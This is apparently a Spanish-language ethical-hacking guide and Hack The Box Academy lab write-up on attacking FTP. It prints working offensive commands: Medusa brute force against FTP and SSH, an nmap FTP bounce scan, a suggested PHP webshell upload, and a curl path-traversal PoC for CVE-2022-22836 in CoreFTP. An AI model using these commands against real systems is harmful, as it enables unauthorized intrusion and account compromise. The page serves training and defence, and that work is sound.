Servidor FTP conectado a una infraestructura de red bajo análisis de seguridad
← RECURSOS

Ataques a FTP: enumeración, explotación y laboratorio práctico

Guía técnica sobre FTP, autenticación anónima, fuerza bruta y FTP Bounce, con comandos y un laboratorio de Hack The Box Academy.

¿Qué es FTP?

El File Transfer Protocol (FTP) es uno de los protocolos más antiguos de Internet. Su propósito es simple: transferir archivos entre un cliente y un servidor a través de una red. A diferencia de protocolos modernos como SFTP o SCP, FTP transmite todo en texto claro, incluyendo credenciales.

Cliente FTP                          Servidor FTP
     │                                    │
     │──── TCP/21 (canal de control) ────▶│  comandos: USER, PASS, LIST, RETR, STOR...
     │                                    │
     │──── TCP/20 (canal de datos) ──────▶│  transferencia de archivos
     │     o puerto dinámico (modo pasivo)│
     │                                    │
     │◀─── archivo / listado de dirs ─────│

FTP usa dos canales separados: uno de control (TCP/21) para enviar comandos, y uno de datos (TCP/20 en modo activo, o un puerto dinámico en modo pasivo) para transferir los archivos. Esta arquitectura de dos canales es la raíz de varios de sus problemas de seguridad.

Dato Valor
Puerto de control TCP/21
Puerto de datos (activo) TCP/20
Puerto de datos (pasivo) Dinámico (negociado)
Autenticación Usuario + contraseña en texto claro
Implementaciones comunes vsftpd, ProFTPD, Pure-FTPd, FileZilla Server

FTP no cifra nada: ni las credenciales ni los datos transferidos. En una red donde se pueda hacer sniffing, cualquier captura de tráfico expone directamente el usuario y la contraseña. En entornos modernos se prefiere FTPS (FTP sobre TLS) o SFTP (FTP sobre SSH).


Introducción

Anonymous Login

Acceso sin credenciales si el servidor permite autenticación anónima. Riesgo crítico si el directorio tiene escritura..

Brute Force

Fuerza bruta de credenciales FTP con Medusa cuando no hay autenticación anónima disponible.

FTP Bounce Attack

Usar un servidor FTP como proxy para escanear hosts internos no accesibles directamente.


Enumeración

El primer paso es identificar el servicio FTP, su versión y si permite autenticación anónima:

╰─ sudo nmap -sC -sV -p 21 192.168.2.142

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 22:04 EDT
Nmap scan report for 192.168.2.142
Host is up (0.00054s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 1170     924            31 Mar 28  2001 .banner
| d--x--x--x   2 root     root         1024 Jan 14  2002 bin
| d--x--x--x   2 root     root         1024 Aug 10  1999 etc
| drwxr-srwt   2 1170     924          2048 Jul 19 18:48 incoming [NSE: writeable]
| d--x--x--x   2 root     root         1024 Jan 14  2002 lib
| drwxr-sr-x   2 1170     924          1024 Aug  5  2004 pub
|_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
Flag Qué hace
-sC Ejecuta scripts NSE por defecto, incluido ftp-anon
-sV Detecta la versión del servicio y lee el banner FTP
-p 21 Escanea solo el puerto FTP

El script ftp-anon automatiza la verificación: si aparece Anonymous FTP login allowed (FTP code 230), el servidor acepta conexiones sin contraseña. Además, lista el contenido del directorio raíz y marca con [NSE: writeable] los directorios donde podemos subir archivos — como incoming en este ejemplo.

El banner FTP suele revelar la versión exacta del software (ej: vsFTPd 2.3.4). Anótala siempre: versiones antiguas tienen CVEs conocidos y a veces con PoC públicos. vsFTPd 2.3.4 específicamente tiene una backdoor de 2011 (CVE-2011-2523).


Explotación

Anonymous Login

El anonymous login es una funcionalidad legítima de FTP que permite a usuarios no autenticados conectarse usando el usuario anonymous y cualquier string como contraseña (convencionalmente un email). El problema es cuando esta función está habilitada sobre directorios que contienen información sensible o que permiten escritura.

Autenticación FTP normal:
  Usuario: alice
  Password: s3cr3t123
  → Servidor verifica contra la base de usuarios → ✓ Acceso a /home/alice

Anonymous Login:
  Usuario: anonymous
  Password: (cualquier cosa, típicamente un email)
  → Servidor no verifica nada → ✓ Acceso al directorio público del FTP
                                          ↑
                              Si ese directorio tiene WRITE o contiene
                              archivos sensibles → problema crítico
╰─ ftp 192.168.2.142

Connected to 192.168.2.142.
220 (vsFTPd 2.3.4)
Name (192.168.2.142:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0               9 Aug 12 16:51 test.txt
226 Directory send OK.

Una vez dentro, los comandos básicos de navegación son prácticamente iguales a Linux:

Comando FTP Qué hace
ls Lista el contenido del directorio actual
cd <dir> Cambia de directorio
get <archivo> Descarga un archivo al cliente
mget *.txt Descarga múltiples archivos (acepta wildcards)
put <archivo> Sube un archivo al servidor
mput *.php Sube múltiples archivos
help Lista todos los comandos disponibles

Si encuentras un directorio con permisos de escritura ([NSE: writeable]) y la aplicación web del servidor ejecuta archivos desde ese path, puedes subir una webshell PHP y obtener RCE. Busca siempre la relación entre el directorio FTP y el document root del servidor web.


Brute Force con Medusa

Cuando la autenticación anónima no está disponible, podemos intentar fuerza bruta contra usuarios conocidos o enumerados previamente. Medusa es una herramienta de brute force paralela que soporta múltiples protocolos, incluyendo FTP.

Estrategia: conocemos el usuario "fiona" (por enumeración previa)
            → probamos la wordlist rockyou.txt contra ese usuario

fiona → 123456       → ❌ FAIL
fiona → 12345        → ❌ FAIL
fiona → 123456789    → ❌ FAIL
fiona → family       → ✓ SUCCESS
╰─ medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456 (1 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 12345 (2 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456789 (3 of 14344392 complete)
ACCOUNT FOUND: [ftp] Host: 10.129.203.7 User: fiona Password: family [SUCCESS]
Flag Qué hace
-u fiona Usuario único a atacar
-U users.txt (alternativa) Lista de usuarios
-P rockyou.txt Lista de contraseñas a probar
-h IP o hostname del objetivo
-M ftp Módulo/protocolo objetivo

El brute force clásico es ruidoso y puede bloquear cuentas. Si el objetivo es un entorno corporativo, el password spraying es más seguro: una contraseña común contra muchos usuarios en lugar de muchas contraseñas contra un usuario. Las políticas de lockout suelen basarse en intentos por cuenta, no por IP. ***

FTP Bounce Attack

El FTP Bounce Attack es una técnica de reconocimiento que abusa del comando PORT de FTP para usar el servidor como proxy de escaneo. Es especialmente útil cuando hay un servidor FTP expuesto en internet y necesitamos saber qué hay detrás de él en la red interna.

Escenario típico:
─────────────────────────────────────────────────────────
INTERNET                     RED INTERNA (DMZ)
                               │
ATACANTE ─────────────────── FTP_DMZ (expuesto) ──── Internal_DMZ (oculto)
  │           TCP/21           │                          │
  │                            │                          │
  └─── "PORT Internal_DMZ:80" ─▶  FTP_DMZ intenta         │
       (le decimos al servidor     conectarse al           │
        a quién conectarse)        Internal_DMZ:80 ───────▶│
                                   y nos reporta si
                                   el puerto responde

En lugar de atacar un host directamente, le pedimos al servidor FTP que lo escanee por nosotros. Nmap soporta este ataque nativamente con el flag -b:

╰─ nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 04:55 EDT
Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213).
Attempting connection to ftp://anonymous:password@10.10.110.213:21
Connected: 220 (vsFTPd 3.0.3)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 04:55
FTP command misalignment detected ... correcting.
Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports)
Nmap scan report for 172.17.0.2
Host is up.

PORT   STATE  SERVICE
80/tcp open   http
Flag Qué hace
-b anonymous:password@10.10.110.213 Define el servidor FTP a usar como proxy de bounce
-Pn No hace host discovery previo (el bounce lo hace por nosotros)
-n No resuelve DNS
-p80 Puerto a escanear en el objetivo final
172.17.0.2 IP del host interno que queremos escanear

El resultado revela que 172.17.0.2 tiene el puerto 80 abierto — información que no podríamos obtener directamente desde internet, pero sí a través del servidor FTP como intermediario.

La mayoría de servidores FTP modernos tienen protecciones contra el bounce attack por defecto. Sin embargo, sigue siendo efectivo en servidores antiguos o mal configurados que no verifican si la IP en el comando PORT pertenece al cliente legítimo.


Resumen

Los tres vectores de ataque FTP forman una cadena de reconocimiento y acceso progresiva:

1. ENUMERACIÓN
   nmap -sC -sV -p21 → ¿anonymous login? ¿versión con CVE conocido?
        ↓
2. ACCESO INICIAL
   ┌── Anonymous login disponible ─────▶ ftp anonymous@ → ls / get / put
   │
   └── Sin anonymous login ────────────▶ Medusa brute force → credenciales
        ↓
3. POST-ACCESO
   ┌── Directorio con escritura + web server ─▶ subir webshell → RCE
   │
   └── FTP en DMZ con red interna ────────────▶ FTP Bounce → escaneo interno
Técnica Requisito Impacto Ruido
Anonymous Login Servidor mal configurado Lectura/escritura de archivos Muy bajo
Brute Force Usuario conocido + sin lockout Credenciales FTP válidas Alto
FTP Bounce Servidor sin protección PORT + posición en red Reconocimiento de red interna Bajo

Write-up: Attacking FTP

Esta resolución corresponde al laboratorio Attacking FTP de Hack The Box Academy. Para practicar los mismos conceptos en un entorno local también puede utilizarse este laboratorio comunitario.


Pregunta 1: ¿En qué puerto se está ejecutando el servicio FTP?

El primer paso es identificar qué servicios están corriendo en el objetivo. Usamos nmap con detección de versión y scripts por defecto:

sudo nmap 10.129.63.109 -sV -sC -p- -Pn -n --min-rate=5000 

Resultado censurado del escaneo Nmap del servicio FTP en Hack The Box Academy.

Flag Qué hace
-sC Ejecuta scripts NSE por defecto, incluido ftp-anon
-sV Detecta la versión del servicio y lee el banner FTP

El servicio FTP no corre en el puerto estándar 21, sino en un puerto alternativo identificado durante el escaneo. Este es un detalle importante: un escaneo que solo apunte a puertos comunes habría pasado por alto el servicio. El banner revela que es un servidor ProFTPD, lo que ya nos da una superficie de ataque concreta para buscar CVEs si los vectores básicos no funcionan.

🚩Flag 1:

[CENSURADO]

Pregunta 2: ¿Qué nombre de usuario está disponible para el servidor FTP?

Con el servicio identificado, el primer vector a probar siempre es la autenticación anónima. El servidor acepta el usuario anonymous con cualquier string como contraseña, dando acceso al directorio público sin verificar credenciales.

ftp 10.129.63.109 <PUERTO_CENSURADO>

Conexión al servicio FTP del laboratorio mediante el cliente de línea de comandos.

El directorio expone dos archivos críticos: users.list y passwords.list. Esto transforma lo que podría haber sido un acceso anónimo “de bajo impacto” en el punto de partida para comprometer otras cuentas del sistema. Descargamos ambos archivos para usarlos en el siguiente ataque.

ftp> ls
ftp> get users.list
ftp> get passwords.list
ftp> exit

Enumeración de archivos disponibles durante una sesión FTP de laboratorio.

Con las listas descargadas, el siguiente paso es aprovecharlas para atacar el servicio SSH. Si el servidor expone credenciales, probablemente algún usuario las reutiliza en otros servicios. Usamos Medusa, una herramienta de fuerza bruta paralela.

medusa -h 10.129.63.109 U users.list P passwords. list -M ssh -t 10 -f
Flag Qué hace
-h IP o hostname del objetivo
-U users.list Lista de usuarios a probar
-P passwords.list Lista de contraseñas a probar
-M ssh Módulo/protocolo objetivo
-t 10 Número de threads paralelos
-f Detiene el ataque al encontrar la primera credencial válida

Medusa descubre una combinación válida de usuario y contraseña. Ambos valores se omiten para no publicar la respuesta del laboratorio.

🚩Flag 2:

[CENSURADO]

Pregunta 3: Utilizando las credenciales obtenidas anteriormente, recupere el archivo flag.txt. Envíe su contenido como respuesta.

Con las credenciales válidas nos conectamos directamente por SSH:

ssh 10.129.63.109 -l <USUARIO_CENSURADO>
<USUARIO_CENSURADO>@10.129.63.109's password: <CONTRASEÑA_CENSURADA>

Acceso SSH al laboratorio con el usuario y la contraseña censurados.

🚩Flag 3:

[CENSURADO]

Resumen del ataque


[Nmap -sC -sV]
      │
      ▼
FTP en puerto alternativo (ProFTPD)
      │
      ▼
[Anonymous Login]
      │
      ├── users.list    ──┐
      └── passwords.list ─┤
                          │
                          ▼
                  [Medusa -M ssh]
                          │
                          ▼
                  [CREDENCIALES CENSURADAS]
                          │
                          ▼
                  [SSH] → flag.txt

El ataque encadena tres técnicas: enumeración de servicio → acceso anónimo para recolección de información → fuerza bruta cruzada contra otro servicio. Cada paso alimenta directamente el siguiente, lo que ilustra por qué un servidor FTP mal configurado puede ser el punto de entrada para comprometer cuentas de sistema completas.


Vulnerabilidades recientes de FTP

Aunque FTP es un protocolo antiguo y en proceso de deprecación en muchos entornos, todavía se encuentra activo en una gran cantidad de servidores, especialmente en infraestructuras heredadas de empresas industriales, proveedores de hosting compartido y aplicaciones web legacy. Esto lo convierte en un vector de ataque relevante incluso hoy en día.

CVE-2022-22836 — CoreFTP Path Traversal + Arbitrary File Write

Publicada en 2022, esta vulnerabilidad afecta al cliente/servidor CoreFTP antes del build 727. Se trata de una vulnerabilidad de directory traversal combinada con escritura arbitraria de archivos, explotable por un usuario autenticado. No requiere privilegios especiales: cualquier cuenta con acceso al servidor puede escribir archivos fuera del directorio autorizado.

Lo que hace especialmente peligrosa a esta vulnerabilidad es la combinación: no es solo un traversal de lectura (ver archivos), sino un traversal de escritura. Un atacante puede depositar un archivo malicioso en cualquier ruta del sistema donde el servicio tenga permisos de escritura.

El concepto del ataque

El servidor CoreFTP tiene soporte para peticiones HTTP PUT además del protocolo FTP estándar. El problema está en cómo procesa el path del archivo en esa petición: no sanitiza correctamente las secuencias ../, lo que permite al atacante salir del directorio restringido y escribir archivos en rutas arbitrarias del sistema.

Demostración de path traversal mediante una petición HTTP PUT contra CoreFTP.

Petición PUT legítima:
  PUT /uploads/archivo.txt
  → El servidor escribe en: C:\FTP_ROOT\uploads\archivo.txt ✓

Petición PUT con traversal:
  PUT /../../../../../../whoops
  → El servidor intenta resolver: C:\FTP_ROOT\..\..\..\..\..\..\whoops
  → Resultado real:               C:\whoops
                                      ↑
                          El archivo queda fuera del directorio FTP,
                          en la raíz del sistema o donde el servicio tenga permisos

El exploit completo se ejecuta con un único comando curl:

curl -k -X PUT -H "Host:" --basic -u:<contraseña>
--data-binary "PoC."
--path-as-is https:///../../../../../../whoops

La cadena de ataque en dos fases es la siguiente:

FASE 1 — Directory Traversal (saltarse las restricciones de directorio):
    1. El atacante construye el path con secuencias ../../.. para escapar del directorio FTP
    2. El servidor CoreFTP procesa el path sin validarlo correctamente
    3. La autorización solo revisa si el usuario tiene acceso al directorio FTP base
     → como salimos de él con el traversal, la restricción queda anulada
    4. El proceso pasa al siguiente paso con el path resuelto fuera del directorio permitido

FASE 2 — Arbitrary File Write (escribir donde queramos):
    5. El mismo path resuelto se usa como destino de escritura
    6. El proceso escribe el contenido de --data-binary en ese archivo
    7. Las restricciones ya fueron bypaseadas en la fase 1, por lo que la escritura se aprueba
    8. El archivo "whoops" con el contenido "PoC." queda en C:\

Para verificar que el exploit funcionó, basta con leer el archivo creado en el sistema objetivo:

C:\> type C:\whoops

PoC.

Si en lugar de PoC. el atacante escribe el contenido de una webshell, un archivo de configuración malicioso, o sobreescribe un binario existente, el impacto escala de forma significativa dependiendo de los permisos del proceso FTP en el sistema.

El vector más crítico de esta vulnerabilidad es la posibilidad de sobreescribir archivos de configuración o scripts que se ejecutan periódicamente. Si el proceso FTP corre como administrador o SYSTEM, el atacante puede depositar un ejecutable en una ruta de inicio automático y obtener persistencia en el sistema.

Conclusión

FTP es un protocolo que carga con décadas de deuda técnica: fue diseñado en una era donde la seguridad de red no era una prioridad. Su transmisión en texto claro, la autenticación anónima habilitada por defecto en muchas implementaciones, y la posibilidad de ser abusado como proxy de escaneo a través del FTP Bounce Attack lo convierten en un objetivo recurrente en evaluaciones de seguridad.

Lo más común en entornos reales no es un exploit sofisticado, sino una simple misconfiguration: un servidor FTP con anonymous login activo sobre un directorio que el equipo de desarrollo olvidó que era accesible, con archivos de configuración, credenciales de base de datos o backups expuestos. La vulnerabilidad de CoreFTP (CVE-2022-22836) es un recordatorio de que incluso software activamente mantenido puede introducir bugs críticos cuando procesa input del usuario sin la validación adecuada.

Desde el punto de vista defensivo: deshabilitar el anonymous login si no es estrictamente necesario, reemplazar FTP por SFTP o FTPS para cifrar el tráfico, aplicar el principio de mínimo privilegio en los directorios servidos, y auditar regularmente qué servicios FTP están corriendo y con qué versión.

Fuentes y lecturas recomendadas

CONTINÚA EXPLORANDO

ARTÍCULOS SUGERIDOS

Infraestructura DNS representada sobre un mapa de red con registros y alertas de seguridadHACKING ÉTICO

Ataques a DNS: enumeración, explotación y laboratorio práctico

Guía técnica sobre DNS, transferencias de zona, subdomain takeover y cache poisoning, con comandos y un laboratorio de Hack The Box Academy.

Sesión de escritorio remoto analizada en un entorno de ciberseguridadHACKING ÉTICO

Ataques a RDP: enumeración, explotación y laboratorio práctico

Guía técnica sobre RDP, password spraying, secuestro de sesiones y Pass-the-Hash, con un laboratorio de Hack The Box Academy.

Recursos SMB y equipos Windows conectados dentro de una red bajo análisisHACKING ÉTICO

Ataques a SMB: enumeración, explotación y laboratorio práctico

Guía técnica sobre SMB, sesiones nulas, recursos compartidos y credenciales, con comandos y un laboratorio de Hack The Box Academy.

VER TODOS LOS RECURSOS →

HABLEMOS DE TU CASO

¿Necesitas ayuda? Contáctanos y te contestamos!

CONTÁCTANOS →